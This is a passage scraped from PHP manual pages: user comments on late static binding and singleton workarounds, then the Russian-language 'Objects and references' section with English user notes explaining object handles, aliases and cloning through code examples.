In my case I have been trying to do the following:

class A {
  function __construct() {
    echo "I was called by " . static::__CLASS__;
  }
}

class B extends A {
  function Foo() {
    echo "I am class " . __CLASS__;
  }
}

$b = new B; // Should echo "I was called by B"
$b->Foo(); // Should echo "I am class B"

At the moment I do the following workaround:

class A {
  function __construct($child) {
    echo "I was called by " . $child;
  }
}

class B extends A {
  function __construct() {
    parent::__construct(__CLASS__);
  }

  function Foo() {
    echo "I am class " . __CLASS__;
  }
}

$b = new B; // Echos "I was called by B"
$b->Foo(); // Echo "I am class B"

As you can see, my current workaround has some overhead and is not as water-tight as the late static binding method.
sebastien at info-conseil dot fr 17-Jul-2008 07:26
Here is a small workaround I made for the static inheritance issue. It's not perfect, but it works.

<?php

// BaseClass class will be extended by any class needing static inheritance workaroud
class BaseClass {
    // Temporarily stores class name for Entry::getStatic() and Entry::setNextStatic()
    protected static $nextStatic = false;

    // Returns the real name of the class calling the method, not the one in which it was declared.
    protected static function getStatic() {
        // If already stored
        if (self::$nextStatic) {
            // Clean and return
            $class = self::$nextStatic;
            self::$nextStatic = false;
            return $class;
        }

        // Init
        $backTrace = debug_backtrace();
        $class = false;

        // Walk through
        for ($i=0; $i<count($backTrace); $i++) {
            // If a class is defined
            if (isset($backTrace[$i]['class'])) {
                // Check if it is not a basic class
                if (!in_array($backTrace[$i]['class'], array('BaseClass', 'GenericClass'))) {
                    return $backTrace[$i]['class'];
                } else {
                    $class = $backTrace[$i]['class'];
                }
            } else {
                // Returns last known class
                return $class;
            }
        }

        // Default
        return $class;
    }

    // If a static method is called within global env, the previous method won't work, so we need to tell BaseClass which
    public static function setNextStatic($class) {
        // Save value
        self::$nextStatic = $class;
    }
}

// Generic class declaring various static methods
class GenericClass extends BaseClass {
    public static $name = 'Generic';

    public function getName() {
        $static = get_class_vars(get_class($this));
        return $static['name'];
    }

    public static function basicClassName() {
        return self::$name;
    }

    public static function staticClassName() {
        // Get real name
        $staticName = self::getStatic();

        // Return final class name
        $static = get_class_vars($staticName);
        return $static['name'];
    }
}

// Final class
class SomeClass extends GenericClass {
    public static $name = 'Some';

    public static function returnClassNameWith($string) {
        return $string.' : '.self::staticClassName();
    }
}

// Instance call

// Will print 'Some'
$a = new SomeClass();
echo 'Name of $a : '.$a->getName().'<br />';

// Static calls

// Will print 'Generic'
echo 'Basic call to SomeClass::$name : '.SomeClass::basicClassName().'<br />';

// Will print 'Generic'
echo 'Global call to SomeClass::$name : '.SomeClass::staticClassName().'<br />';

// Will print 'Some'
BaseClass::setNextStatic('SomeClass');
echo 'Global call to SomeClass::$name with pre-set : '.SomeClass::staticClassName().'<br />';

// Will print 'Some'
echo 'Internal call to SomeClass::$name : '.SomeClass::returnClassNameWith('This is a ').'<br />';

?>

There are two issues with this workaround :
- if you call a static method from global env, you need to declare the name of the class BEFORE calling the method, otherwise the workaround won't work (see 3rd and 4th examples). But I assume good programming makes few calls to static methods from global scope, so this shouldn't be long to fix if you use it.
- the workaround fails to access to private or protected static vars, as it uses get_class_vars(). If you find any better solution, let us know.

With Php 5.3.0, upgrading will be easy : just delete the methods from the basic class, and search/replace any call to getStatic() and setNextStatic() by static:: - or one could use a selector on PHP_VERSION value to include either the BaseClass file with workaround or a BaseClass file using static::
Anonymous 12-Jul-2008 12:49
Trying to recreate an inheritable static part for an object through a singleton pattern.

<?php
/**
 * "Inheritable static" for PHP < 5.3
 * << Library/Inheritable.php >>
 */

abstract class Inheritable_Static extends Singleton
{
}

abstract class Inheritable
{
    public static function getStatic($className)
    {
        // Use an abstract Singleton
        return Singleton::getInstance($className . '_Static') ;
    }

    public function goStatic()
    {
        return self::getStatic(get_class($this)) ;
    }
}

/**
 * Abstract
 * << Library/SayIt/Abstract.php >>
 */

abstract class SayIt_Abstract_Static extends Inheritable_Static
{
    public $format ;
}

abstract class SayIt_Abstract extends Inheritable
{
    protected $_name ;

    public function __construct($name)
    {
        $this->_name = $name ;
    }

    final public function sayIt()
    {
        echo sprintf($this->goStatic()->format, $this->_name) . "\n" ;
    }

}

/**
 * Concrete
 * << Library/SayIt/Hello.php >>
 */

class SayIt_Hello_Static extends SayIt_Abstract_Static
{
}

class SayIt_Hello extends SayIt_Abstract
{
    public static function getStatic() { return parent::getStatic(__CLASS__) ; }
}

/**
 * Test
 */

SayIt_Hello::getStatic()->format = 'Hello %s' ;

$w = new SayIt_Hello('World') ;
$j = new SayIt_Hello('Joe') ;

echo $w->sayIt() ; // Hello World
echo $j->sayIt() ; // Hello Joe
Andrea Giammarchi 21-Jun-2008 01:06
About static parameters, these work as expected.
<?php
class A {
    protected static $__CLASS__ = __CLASS__;
    public static function constructor(){
        return  static::$__CLASS__;
    }
}

class B extends A {
    protected static $__CLASS__ = __CLASS__;
}

echo    B::constructor(); // B
?>
martinpauly [at] google mail [dot] com 18-Jun-2008 05:54
will this work for variables as well?

it would be great, if the following worked:

<?php
class A {
protected static $table = "table";
public static function connect(){
     //do some stuff here
     echo static::$table;
     return static::getInstance(); //function getInstance() now can return classes A or B depending on the context it was called
}
...
}

class B extends A {
protected static $table = "subtable";
...
}

$table = B::connect(); //hopefully the output will be: subtable
?>
deadimp at gmail dot com 05-Jun-2008 10:39
I think this will be pretty helpful too.
My question is, can just 'static' by itself resolve to the late static class?
I ask this because it could help in making new instances of the derived class, from a base class, by calling a derived class's static method instead of having to create a new instance of the derived class - or explicitly defining a 'getClass' method for each derived class.
Example:
<?php
//There isn't really any purpose for this example I posted
//Just a random implementation
class Base {
    static function useful() {
        //Create a list of instances of the derived class
        $list=array();
        for ($i=0;$i<10;$i++) $list[]=new static(); //Here's the point in question
        return $list;
    }
}
class Derived extends Base {
    static function somethingElse() {
        //...
        $list=static::useful();
    }
}
?>
I'm not sure what kind of lexical / whatever-it's-called problems this would make with parsing. I don't think it could really collide with any contexts where you would use static otherwise - variable / method declaration.

Even more so, is there a way to get the class's name to which the keywords 'self', 'parent', or 'static' refer?
Example:
<?php
class Base {
    static function stuff() {
        echo "Self: ".get_class(self);
        echo "Parent: ".get_class(parent);
        echo "Derived: ".get_class(static);
    }
}
class Derived extends Base {
    static function stuff() {
        static::stuff();
    }
}
?>

I don't think there should be a massive bloat in the PHP core to support all of this, but it would be nice to take advantage of the dynamic nature of PHP.

And yet another side note:
If you're in the instance-level scope in a method of a base, and you want to get a top-level static, here's an ugly workaround (from Thacmus /lib/core.php - see SVN repo):
<?php
//Get reference [?] to static from class
    //$class - Class name OR object (uses get_class())
    //$var - Not gonna say
function& get_static($class,$var) { //'static_get'?
    if (!is_string($class)) $class=get_class($class);
    if (!@property_exists($class,$var)) {
        trigger_error("Static property does not exist: $class::\$$var");
        //debug_callstack(); //This is just a wrapper for debug_backtrace() for HTML
        return null;
    }
    //Store a reference so that the base data can be referred to
        //The code [[ return eval('return &'.$class.'::$'.$var.';') ]] does not work - can not return references...
        //To establish the reference, use [[ $ref=&get_static(...) ]]
    eval('$temp=&'.$class.'::$'.$var.';'); //using
    return $temp;
}
?>
tyler AT canfone [dot] COM 04-Jun-2008 10:48
@ php at mikebird

You can pass arguments to your constructor through your getInstance method, assuming you are running php5.

        public static function getInstance($params = null) {
            if (self::$objInstance == null) {
                $strClass = static::getClass();
                self::$objInstance = new $strClass($params);
            }
            return self::$objInstance;
        }

This would pass the params to your constructor. Love for php.
sergei at 2440media dot com 28-May-2008 01:22
Finally we can implement some ActiveRecord methods:

<?php

class Model
{
    public static function find()
    {
        echo static::$name;
    }
}

class Product extends Model
{
    protected static $name = 'Product';
}

Product::find();

?>

Output: 'Product'
php at mikebird dot co dot uk 23-Apr-2008 08:39
This should make life easier and neater if you have a project with a lot of singleton classes e.g.

<?php

    class Singleton {

        public static $objInstance;

        public static function &getInstance() {
            if (self::$objInstance == null) {
                $strClass = static::getClass();
                self::$objInstance = new $strClass;
            }
            return self::$objInstance;
        }

        public static function getClass() {
            return __CLASS__;
        }

    }

    class Foo extends Singleton {

        public $intBar;

        public function __construct() {
            $this->intBar = 1;
        }

        public static function getClass() {
            return __CLASS__;
        }

    }

    $objFooTwo = Foo::getInstance();
    $objFooTwo->intBar = 2;

    $objFooOne = Foo::getInstance();

    if ($objFooOne->intBar == $objFooTwo->intBar) {
        echo 'it is a singleton';
    } else {
        echo 'it is not a singleton';
    }

?>

The above will output 'it is a singleton'. The obvious downfall to this method is not being able to give arguments to the constructor.
max at mastershrimp dot com 10-Apr-2008 03:24
If you are using PHP < 5.3.0 you might be interested in the following workaround for late static binding: http://de2.php.net/manual/de/function.get-class.php#77698


Объекты и ссылки

Одним из ключевых моментов объектно-ориентированной парадигмы PHP, который часто обсуждается, является "передача объектов по ссылке по умолчанию". Это не совсем верно. Данный раздел уточняет это понятие, используя некоторые примеры.

Ссылка в PHP - это псевдоним (алиас), который позволяет присвоить двум переменным одинаковое значение. В PHP объектная переменная больше не содержит сам объект как значение. Такая переменная содержит только идентификатор объекта, который позволяет найти конкретный объект при обращении к нему. Когда объект передаётся как аргумент функции, возвращается или присваивается другой переменной, то эти разные переменные не являются псевдонимами (алиасами): они содержат копию идентификатора, который указывает на один и тот же объект.

Пример #1 Ссылки и объекты

<?php
class A {
public $foo = 1;
}

$a = new A;
$b = $a; // $a и $b - копии одного идентификатора
// ($a) = ($b) = <id>
$b->foo = 2;
echo $a->foo."\n";

$c = new A;
$d = &$c; // $c и $d - ссылки
// ($c,$d) = <id>

$d->foo = 2;
echo $c->foo."\n";

$e = new A;

function foo($obj) {
// ($obj) = ($e) = <id>
$obj->foo = 2;
}

foo($e);
echo $e->foo."\n";

?>

Результат выполнения данного примера:

2
2
2

User Contributed Notes

rnealxp at yahoo dot com 11-May-2020 06:47
Concise reminders of the behaviors of object assignments, with and without using the "&" operator...
<?php
class clsA{
    public $propA = 2;
}
class clsB{
    public $propB = 3;
}
//------------
$a = new clsA();
$c = $a; //Both of these vars now refer to the same object-instance (an assignment-by-reference).
$c->propA = 22; //Use one of the vars to change the instance's property.
echo $c->propA . "\n"; //output: 22
echo $a->propA . "\n"; //output: 22
//------------
$b = new clsB();
$a = $b; //Before this assignment, both $c and $a referred to the same object instance; this is no longer the case after $a is switched to reference the instance of clsB.
echo $c->propA . "\n"; //output: 22 (this works because $c is still a reference to the object instance of type clsA)
echo $c->propB . "\n"; //output: "Undefined property: clsA::$propB" (did not work because $c is not a reference to the object instance of type clsB)
//------------
//Start over and use the "&" operator...
$a = new clsA();
$b = new clsB();
$c = &$a; //<--$c will refer to whatever $a currently and "futuristically" refers to (also a type of assignment-by-reference); in C-language, you would think of this as copying a pointer.
echo $c->propA . "\n"; //output: 2
$a = $b; //This assignment causes $c to refer to a new/different object.
echo $c->propA . "\n"; //output: "Undefined property: clsB::$propA" (does not work since $c no longer refers to the object instance of type clsA)
echo $c->propB . "\n"; //output: 3 (works since $c now refers to the object instance of type clsB)
//------------
?>
Joe F 01-Mar-2019 01:38
I am planning to serialize and unserialize objects as a means of storage, and my application can conveniently group large numbers of objects inside of a single object to serialize. However, this presented some questions that I needed to answer:

Let's say the parent object I plan to serialize is "A" and the objects I store in it will be A(a-z). If I pass A(b) to A(c), this happens by reference. So if A(c) takes actions that effect the values of A(b), this will also update the original A(b) stored in A. Great!

However, what happens when I serialize A, where A(c) has a reference to A(b), and then I unserialize? Will A(c) have a new unique copy of A(b), or will it still reference the A(b) stored in A?

The answer is, PHP 5.5 and PHP 7 both track whether something is a reference to an object it's already "recreated" during the unserialize process, see this example:

<?php

class foo {
    protected $stored_object;
    protected $stored_object2;
    protected $stored_value;

    public function __construct($name, $stored_value) {
        $this->store_value($stored_value);
        echo 'Constructed: '.$name.' => '.$stored_value.'<br/>';
    }

    public function store_object(foo $object) {
        $this->stored_object = $object;
    }

    public function store_object2(foo $object) {
        $this->stored_object2 = $object;
    }

    public function store_value($value) {
        $this->stored_value = $value;
    }

    public function stored_method($method, array $parameters) {
        echo 'Call stored method: '.$method.'{ <br/>';
        call_user_func_array(array($this->stored_object, $method), $parameters);
        echo '} <br/>';
    }

    public function stored_method2($method, array $parameters) {
        echo 'Call stored method 2: '.$method.'{ <br/>';
        call_user_func_array(array($this->stored_object2, $method), $parameters);
        echo '} <br/>';
    }

    public function echo_value() {
        echo 'Value: '.$this->stored_value.'<br/>';
    }
}

$foo = new foo('foo', 'Hello!'); // Constructed: foo => Hello!
$new_foo = new foo('new_foo', 'New Foo 2!'); // Constructed: new_foo => New Foo 2!
$third_foo = new foo('third_foo', 'Final Foo!'); // Constructed: third_foo => Final Foo!

$foo->store_object($new_foo);
$foo->store_object2($third_foo);
$foo->stored_method('store_object', array($third_foo)); //Call stored method: store_object{ }

$serialized = serialize($foo);
unset($foo);
unset($new_foo);
unset($third_foo);
$unserialized_foo = unserialize($serialized);

//Below, I update the object represented as A(c) but I update it via the A object
$unserialized_foo->stored_method2('store_value', array('Super Last Foo!')); // Call stored method 2: store_value{}
$unserialized_foo->echo_value(); // Value: Hello!
$unserialized_foo->stored_method('echo_value', array());
//Call stored method: echo_value{
//Value: New Foo 2!
//}

// Last, I check the value of A(c) as it was stored in A(b) to see if updating A(c) via A also updates A(b)'s copy/reference:
$unserialized_foo->stored_method('stored_method', array('echo_value', array()));
//Call stored method: stored_method{
//Call stored method: echo_value{
//Value: Super Last Foo!
//}
//}
?>

Per the last line, A(b)'s "copy" of A(c) is still a reference to the original A(b) as stored in A, even after unserializing.
gevorgmelkoumyan at gmail dot com 06-Jan-2019 03:46
I think this example should clarify the difference between PHP references (aliases) and pointers:

<?php

class A {
    public $var = 42;
}

$a = new A; // $a points to the object with id=1
echo 'A: ' . $a->var . PHP_EOL; // A: 42

$b = $a; // $b points to the object with id=1
echo 'B: ' . $b->var . PHP_EOL; // B: 42

$b->var = 5;
echo 'B: ' . $b->var . PHP_EOL; // B: 5
echo 'A: ' . $a->var . PHP_EOL; // A: 5

$b = new A; // now $b points to the object with id=2, but $a still points to the 1st object
echo 'B: ' . $b->var . PHP_EOL; // B: 42
echo 'A: ' . $a->var . PHP_EOL; // A: 5

?>
wassimamal121 at hotmail dot com 26-May-2015 04:43
The example given by PHP manual is pretty clever and simple.
The example begins by explaining how things go when two aliases referring to the same objects are changed, just rethink the first part of the example
<?php

class A {    public $foo = 1;}
function go($obj) {  $obj->foo = 2;}
function bo($obj) {$obj=new A;}

function chan($p){$p=44;}
function chanref(&$p){$p=44;}

/**************manipulating simple variable******************/
$h=2;$k=$h;$h=4; echo '$k='.$k."<br/>";
//$k refers to a memory cell containing the value 2
//$k is created and referes to another cell in the RAM
//$k=$h implies take the content of the cell to which $h refers
//and put it in the cell to which $k refers to
//$h=4 implies change the content of the cell to which $h refers to
//dosn't imply changing the content of the cell to which $k refers to

$h=2;$k=&$h;$h=4; echo '$k='.$k."<br/>";
//here $k refers to the same memory cell as $h

$v=2;chan($v); echo '$v='.$v."<br/>";
//the value of $v doesn't change because the function takes
// as argument an alias  refering to a value 2, in the function we
//change only the value to which this alias refers to

$u=2;chanref($u); echo '$u='.$u."<br/>";
//here the value changes because we pass a adress of the
//memory cell to which $u refers to, the function is manipulating
//the content of this memory cell

/***************manipaliting objects************************/
$a = new A;
//create an object by allocating some cells in memory, $a refers
//to this cells

$b = $a;
//$b refers to the same cells, it's not like simple variables
//which are created then, we copy the content

$b->foo = 2;echo $a->foo."<br/>";
//you can access the same object using both $a or $b

$c = new A;$d = &$c;$d->foo = 2;echo $c->foo."<br/>";
//$d and $c don't just refers to the same memory space,
//but they are the same

$e = new A;
go($e);
//we pass a copy of a pointer
echo $e->foo."<br/>";
bo($e);
echo $e->foo."<br/>";
//if you think it's 1 sorry I failed to explain
//remember you passed just a pointer, when new is called
//the pointer is discoupled
?>
akam at akameng dot com 29-Aug-2013 09:30
Object is being referenced even after the original object deleted, so be careful when copying objects into your array.

<?php
$result = json_decode(' {"1":1377809496,"2":1377813096}');
$copy1['object'] = $result;
$copy2['object'] = $result;

unset($result);

//now lets change $copy1['object'][1] to 'test';
$copy1['object']->{"1"} = 'test';

echo ($copy1 === $copy2) ? "Yes" : "No";
print_r($copy2);
/*
Array
(
    [API] => stdClass Object
        (
            [1] => test
            [2] => 1377813096
        )

)
*/
?>
cesoid at gmail dot com 27-May-2013 04:45
Comparing an alias to a pointer is like comparing a spoken word to the neurochemistry of the speaker. You know that the speaker can use two different words to refer to the same thing, but what's going on in their brain to make this work is something you don't want to have to think about every time they speak. (If you're programming in assembly or, less so, in C++, you're out of luck there.)

Likewise, PHP *the language* and a given php interpretor are not the same thing, and this post and most of these comments leave that out in the explanation. An alias/reference is a part of the language, a pointer is a part of how the computer makes the reference work. You often have little guarantee that an interpreter will continue working the same way internally.

From a functional point of view the internals of the interpreter *do* matter for optimization, but *don't* matter in terms of the end result of the program. A higher level programming language such as PHP is supposed to try to hide such details from the programmer so that they can write clearer, more manageable code, and do it quickly.

Unfortunately, years ago, using pass-by-reference a lot actually was very useful in terms of optimizing. Fortunately, that ended years ago, so now we no longer need to perform a reference assignment and hope that we remember not to change one variable when the other one is supposed to stay the same. By the time you read this the php that is sending these words to you may be running on a server that uses some kind of new exotic technology for which the word "pointer" no longer accurately describes anything, because the server stores both the program state and instructions intermingled in non-sequential atoms bonded into molecules which work by randomly bouncing off each other at high speeds, thereby exchanging atoms and crossbreeding their instructions and information in such a way as to, in aggregate, successfully run php 5 code. But the code itself will still have references that work the same way they did before, and you will therefore not have to think about whether the machine I just described makes any sense at all.
Jon Whitener 15-Aug-2012 01:55
The use of clone may get you the behavior you expect when passing an object to a function, as shown below using DateTime objects as examples.

<?php
date_default_timezone_set( "America/Detroit" );

$a = new DateTime;
echo "a = " . $a->format('Y-m-j') . "\n";

// This might not give what you expect...
$b = upDate( $a ); // a and b both updated
echo "a = " . $a->format('Y-m-j') . ", b = " . $b->format('Y-m-j') . "\n";
$a->modify( "+ 1 day" ); // a and b both modified
echo "a = " . $a->format('Y-m-j') . ", b = " . $b->format('Y-m-j') . "\n";

// This might be what you want...
$c = upDateClone( $a ); // only c updated, a left alone
echo "a = " . $a->format('Y-m-j') . ", c = " . $c->format('Y-m-j') . "\n";

function upDate( $datetime ) {
    $datetime->modify( "+ 1 day" );
    return $datetime;
}

function upDateClone( $datetime ) {
    $dt = clone $datetime;
    $dt->modify( "+ 1 day" );
    return $dt;
}
?>

The above would output something like:

a = 2012-08-15
a = 2012-08-16, b = 2012-08-16
a = 2012-08-17, b = 2012-08-17
a = 2012-08-17, c = 2012-08-18
kristof at viewranger dot com 16-Jun-2012 02:07
I hope this clarifies references a bit more:

<?php
class A {
    public $foo = 1;
}

$a = new A;
$b = $a;
$a->foo = 2;
$a = NULL;
echo $b->foo."\n"; // 2

$c = new A;
$d = &$c;
$c->foo = 2;
$c = NULL;
echo $d->foo."\n"; // Notice:  Trying to get property of non-object...
?>
Anonymous 23-Nov-2011 07:57
this example could help:

<?php
class A {
    public $testA = 1;
}

class B {
    public $testB = "class B";
}

$a = new A;
$b = $a;
$b->testA = 2;

$c = new B;
$a = $c;

$a->testB = "Changed Class B";

echo "<br/> object a: "; var_dump($a);
echo "<br/> object b: "; var_dump($b);
echo "<br/> object c: "; var_dump($c);

// by reference

$aa = new A;
$bb = &$aa;
$bb->testA = 2;

$cc = new B;
$aa = $cc;

$aa->testB = "Changed Class B";

echo "<br/> object aa: "; var_dump($aa);
echo "<br/> object bb: "; var_dump($bb);
echo "<br/> object cc: "; var_dump($cc);

?>
Rob Marscher 03-Feb-2011 09:33
Here's an example I created that helped me understand the difference between passing objects by reference and by value in php 5.

<?php
class A {
    public $foo = 'empty';
}
class B {
    public $foo = 'empty';
    public $bar = 'hello';
}

function normalAssignment($obj) {
    $obj->foo = 'changed';
    $obj = new B;
}

function referenceAssignment(&$obj) {
    $obj->foo = 'changed';
    $obj = new B;
}

$a = new A;
normalAssignment($a);
echo get_class($a), "\n";
echo "foo = {$a->foo}\n";

referenceAssignment($a);
echo get_class($a), "\n";
echo "foo = {$a->foo}\n";
echo "bar = {$a->bar}\n";

/*
prints:
A
foo = changed
B
foo = empty
bar = hello
*/
?>
Anonymous 16-Jan-2011 08:51
There seems to be some confusion here. The distinction between pointers and references is not particularly helpful.
The behavior in some of the "comprehensive" examples already posted can be explained in simpler unifying terms. Hayley's code, for example, is doing EXACTLY what you should expect it should. (Using >= 5.3)

First principle:
A pointer stores a memory address to access an object. Any time an object is assigned, a pointer is generated. (I haven't delved TOO deeply into the Zend engine yet, but as far as I can see, this applies)

2nd principle, and source of the most confusion:
Passing a variable to a function is done by default as a value pass, ie, you are working with a copy. "But objects are passed by reference!" A common misconception both here and in the Java world. I never said a copy OF WHAT. The default passing is done by value. Always. WHAT is being copied and passed, however, is the pointer. When using the "->", you will of course be accessing the same internals as the original variable in the caller function. Just using "=" will only play with copies.

3rd principle:
"&" automatically and permanently sets another variable name/pointer to the same memory address as something else until you decouple them. It is correct to use the term "alias" here. Think of it as joining two pointers at the hip until forcibly separated with "unset()". This functionality exists both in the same scope and when an argument is passed to a function. Often the passed argument is called a "reference," due to certain distinctions between "passing by value" and "passing by reference" that were clearer in C and C++.

Just remember: pointers to objects, not objects themselves, are passed to functions. These pointers are COPIES of the original unless you use "&" in your parameter list to actually pass the originals. Only when you dig into the internals of an object will the originals change.

Example:

<?php

//The two are meant to be the same
$a = "Clark Kent"; //a==Clark Kent
$b = &$a; //The two will now share the same fate.

$b="Superman"; // $a=="Superman" too.
echo $a;
echo $a="Clark Kent"; // $b=="Clark Kent" too.
unset($b); // $b divorced from $a
$b="Bizarro";
echo $a; // $a=="Clark Kent" still, since $b is a free agent pointer now.

//The two are NOT meant to be the same.
$c="King";
$d="Pretender to the Throne";
echo $c."\n"; // $c=="King"
echo $d."\n"; // $d=="Pretender to the Throne"
swapByValue($c, $d);
echo $c."\n"; // $c=="King"
echo $d."\n"; // $d=="Pretender to the Throne"
swapByRef($c, $d);
echo $c."\n"; // $c=="Pretender to the Throne"
echo $d."\n"; // $d=="King"

function swapByValue($x, $y){
$temp=$x;
$x=$y;
$y=$temp;
//All this beautiful work will disappear
//because it was done on COPIES of pointers.
//The originals pointers still point as they did.
}

function swapByRef(&$x, &$y){
 $temp=$x;
 $x=$y;
 $y=$temp;
 //Note the parameter list: now we switched 'em REAL good.
}

?>
Hayley Watson 29-Mar-2010 07:21
Using &$this can result in some weird and counter-intuitive behaviour - it starts lying to you.

<?php

class Bar
{
    public $prop = 42;
}

class Foo
{
    public $prop = 17;
    function boom()
    {
        $bar = &$this;
        echo "\$bar is an alias of \$this, a Foo.\n";
        echo '$this is a ', get_class($this), '; $bar is a ', get_class($bar), "\n";

        echo "Are they the same object? ", ($bar === $this ? "Yes\n" : "No\n");
        echo "Are they equal? ", ($bar === $this ? "Yes\n" : "No\n");
        echo '$this says its prop value is ';
        echo $this->prop;
        echo ' and $bar says it is ';
        echo $bar->prop;
        echo "\n";

        echo "\n";

        $bar = new Bar;
        echo "\$bar has been made into a new Bar.\n";
        echo '$this is a ', get_class($this), '; $bar is a ', get_class($bar), "\n";

        echo "Are they the same object? ", ($bar === $this ? "Yes\n" : "No\n");
        echo "Are they equal? ", ($bar === $this ? "Yes\n" : "No\n");
        echo '$this says its prop value is ';
        echo $this->prop;
        echo ' and $bar says it is ';
        echo $bar->prop;
        echo "\n";

    }
}

$t = new Foo;
$t->boom();
?>
In the above $this claims to be a Bar (in fact it claims to be the very same object that $bar is), while still having all the properties and methods of a Foo.

Fortunately it doesn't persist beyond the method where you committed the faux pas.
<?php
echo get_class($t), "\t", $t->prop;
?>
miklcct at gmail dot com 07-Jan-2010 01:34
Notes on reference:
A reference is not a pointer. However, an object handle IS a pointer. Example:
<?php
class Foo {
  private static $used;
  private $id;
  public function __construct() {
    $id = $used++;
  }
  public function __clone() {
    $id = $used++;
  }
}

$a = new Foo; // $a is a pointer pointing to Foo object 0
$b = $a; // $b is a pointer pointing to Foo object 0, however, $b is a copy of $a
$c = &$a; // $c and $a are now references of a pointer pointing to Foo object 0
$a = new Foo; // $a and $c are now references of a pointer pointing to Foo object 1, $b is still a pointer pointing to Foo object 0
unset($a); // A reference with reference count 1 is automatically converted back to a value. Now $c is a pointer to Foo object 1
$a = &$b; // $a and $b are now references of a pointer pointing to Foo object 0
$a = NULL; // $a and $b now become a reference to NULL. Foo object 0 can be garbage collected now
unset($b); // $b no longer exists and $a is now NULL
$a = clone $c; // $a is now a pointer to Foo object 2, $c remains a pointer to Foo object 1
unset($c); // Foo object 1 can be garbage collected now.
$c = $a; // $c and $a are pointers pointing to Foo object 2
unset($a); // Foo object 2 is still pointed by $c
$a = &$c; // Foo object 2 has 1 pointers pointing to it only, that pointer has 2 references: $a and $c;
const ABC = TRUE;
if(ABC) {
  $a = NULL; // Foo object 2 can be garbage collected now because $a and $c are now a reference to the same NULL value
} else {
  unset($a); // Foo object 2 is still pointed to $c
}
mjung at poczta dot onet dot pl 15-Aug-2009 10:25
Ultimate explanation to object references:
NOTE: wording 'points to' could be easily replaced with 'refers ' and is used loosly.
<?php
$a1 = new A(1);  // $a1 == handle1-1 to A(1)
$a2 = $a1;     // $a2 == handle1-2 to A(1) - assigned by value (copy)
$a3 = &$a1;  // $a3 points to $a1 (handle1-1)
$a3 = null;      // makes $a1==null, $a3 (still) points to $a1, $a2 == handle1-2 (same object instance A(1))
$a2 = null;      // makes $a2 == null
$a1 = new A(2); //makes $a1 == handle2-1 to new object and $a3 (still) points to $a1 => handle2-1 (new object), so value of $a1 and $a3 is the new object and $a2 == null
//By reference:
$a4 = &new A(4);  //$a4 points to handle4-1 to A(4)
$a5 = $a4;   // $a5 == handle4-2 to A(4) (copy)
$a6 = &$a4;  //$a6 points to (handle4-1), not to $a4 (reference to reference references the referenced object handle4-1 not the reference itself)

$a4 = &new A(40); // $a4 points to handle40-1, $a5 == handle4-2 and $a6 still points to handle4-1 to A(4)
$a6 = null;  // sets handle4-1 to null; $a5 == handle4-2 = A(4); $a4 points to handle40-1; $a6 points to null
$a6 =&$a4; // $a6 points to handle40-1
$a7 = &$a6; //$a7 points to handle40-1
$a8 = &$a7; //$a8 points to handle40-1
$a5 = $a7;  //$a5 == handle40-2 (copy)
$a6 = null; //makes handle40-1 null, all variables pointing to (hanlde40-1 ==null) are null, except ($a5 == handle40-2 = A(40))
?>
Hope this helps.
Aaron Bond 19-Jun-2009 06:08
I've bumped into a behavior that helped clarify the difference between objects and identifiers for me.

When we hand off an object variable, we get an identifier to that object's value.  This means that if I were to mutate the object from a passed variable, ALL variables originating from that instance of the object will change.

HOWEVER, if I set that object variable to new instance, it replaces the identifier itself with a new identifier and leaves the old instance in tact.

Take the following example:

<?php
class A {
    public $foo = 1;
}

class B {
    public function foo(A $bar)
    {
        $bar->foo = 42;
    }

    public function bar(A $bar)
    {
        $bar = new A;
    }
}

$f = new A;
$g = new B;
echo $f->foo . "\n";

$g->foo($f);
echo $f->foo . "\n";

$g->bar($f);
echo $f->foo . "\n";

?>

If object variables were always references, we'd expect the following output:
1
42
1

However, we get:
1
42
42

The reason for this is simple.  In the bar function of the B class, we replace the identifier you passed in, which identified the same instance of the A class as your $f variable, with a brand new A class identifier.  Creating a new instance of A doesn't mutate $f because $f wasn't passed as a reference.

To get the reference behavior, one would have to enter the following for class B:

<?php
class B {
    public function foo(A $bar)
    {
        $bar->foo = 42;
    }

    public function bar(A &$bar)
    {
        $bar = new A;
    }
}
?>

The foo function doesn't require a reference, because it is MUTATING an object instance that $bar identifies.  But bar will be REPLACING the object instance.  If only an identifier is passed, the variable identifier will be overwritten but the object instance will be left in place.
Ivan Bertona 15-Oct-2008 08:45
A point that in my opinion is not stressed enough in the manual page is that in PHP5, passing an object as an argument of a function call with no use of the & operator means passing BY VALUE an unique identifier for that object (intended as instance of a class), which will be stored in another variable that has function scope.

This behaviour is the same used in Java, where indeed there is no notion of passing arguments by reference. On the other hand, in PHP you can pass a value by reference (in PHP we refer to references as "aliases"), and this poses a threat if you are not aware of what you are really doing. Please consider these two classes:

<?php
class A
{
    function __toString() {
        return "Class A";
    }
}

class B
{
    function __toString() {
        return "Class B";
    }
}
?>

In the first test case we make two objects out of the classes A and B, then swap the variables using a temp one and the normal assignment operator (=).

<?php
$a = new A();
$b = new B();

$temp = $a;
$a = $b;
$b = $temp;

print('$a: ' . $a . "\n");
print('$b: ' . $b . "\n");
?>

As expected the script will output:

$a: Class B
$b: Class A

Now consider the following snippet. It is similar to the former but the assignment $a = &$b makes $a an ALIAS of $b.

<?php
$a = new A();
$b = new B();

$temp = $a;
$a = &$b;
$b = $temp;

print('$a: ' . $a . "\n");
print('$b: ' . $b . "\n");
?>

This script will output:

$a: Class A
$b: Class A

That is, modifying $b reflects the same assignment on $a... The two variables end pointing to the same object, and the other one is lost. To sum up is a good practice NOT using aliasing when handling PHP5 objects, unless your are really really sure of what you are doing.
lazybones_senior 30-Sep-2008 06:57
WHOA... KEEP IT SIMPLE!

In regards to secure_admin's note: You've used OOP to simplify PHP's ability to create and use object references. Now use PHP's static keyword to simplify your OOP.

<?php

class DataModelControl {
  protected static $data = 256; // default value;
  protected $name;

  public function __construct($dmcName) {
    $this->name = $dmcName;
  }

  public static function setData($dmcData) {
    if(is_numeric($dmcData)) {
      self::$data = $dmcData;
    }
  }

  public function __toString() {
    return "DataModelControl [name=$this->name, data=" . self::$data . "]";
  }
}

# create several instances of DataModelControl...
$dmc1 = new DataModelControl('dmc1');
$dmc2 = new DataModelControl('dmc2');
$dmc3 = new DataModelControl('dmc3');
echo $dmc1 . '<br>';
echo $dmc2 . '<br>';
echo $dmc3 . '<br><br>';

# To change data, use any DataModelControl object...
$dmc2->setData(512);
# Or, call setData() directly from the class...
DataModelControl::setData(1024);
echo $dmc1 . '<br>';
echo $dmc2 . '<br>';
echo $dmc3 . '<br><br>';
?>

 DataModelControl [name=dmc1, data=256]
